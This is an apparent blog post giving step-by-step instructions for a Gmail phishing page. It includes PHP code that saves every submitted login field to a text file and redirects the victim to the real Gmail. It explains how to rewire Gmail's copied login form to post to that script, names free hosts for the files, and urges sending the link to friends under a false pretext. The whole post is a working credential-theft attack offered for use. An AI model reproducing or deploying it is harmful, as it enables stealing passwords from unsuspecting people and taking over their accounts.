For this We need three files:
1. fake gmail login page
2.Php file
3.Text file to store password
Create your php file
1.Open notepad and copy this code:
header ("Location: https://gmail.com");
$handle = fopen(“password.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($ handle, “\r\n”);
fclose($handle) ;
exit;
?>
2.Now save this as gmailphishing.php
Your php file is now created
If you Don't understand what this php file is doing you need to learn some basic of php.This php file will save information of victim in file password.txt
Create gmail fake login page
Now go to http://www.gmail.com and right click / View Source.Copy source in notepad and save it as gmaillogin.html .Now open source code of this html file
We need to find the place where Login code in gmail page that where send the user after clicking on it.
Now Press crtl-f after opening source code and search for this code
action=anything.
In this case we have this
action=”https://www.google.com/accounts/ServiceLoginAuth?service=mail”We replace that part with:
action=”gmailphishing.php”
Save your gmailfake.html file
Text file
Create a blank text file and name it password.txt
Now upload all the three files gmailfake.html,gmailphishing.php,Password.txt in any free web hosting site directory like 100mb.com and now you can just check your fake gmail login page by going to http://ursite.110mb.com/gmailfake.html for the fake login page.Just type some random user name and any password into the text box and then you will see in your file manager that a file called "Password.txt" is created,In which the password is stored.
You can use
http://www.justfree.com/
http://www.ripway.com/
also or any other free hosting site.
Suppose you register with name gmailaccounthack.Your link will behttp://www.gmailaccounhack.justfree.com/
After uploading files your phishing link will behttp://www.gmailaccount.justfree.com/fakegmail.html
Send this link to your friend if they login there their password will be save at the server .
You can trick your friend to login this fake facebook page by saying its new version of facebook check it out,or in any way you like
No comments:
Post a Comment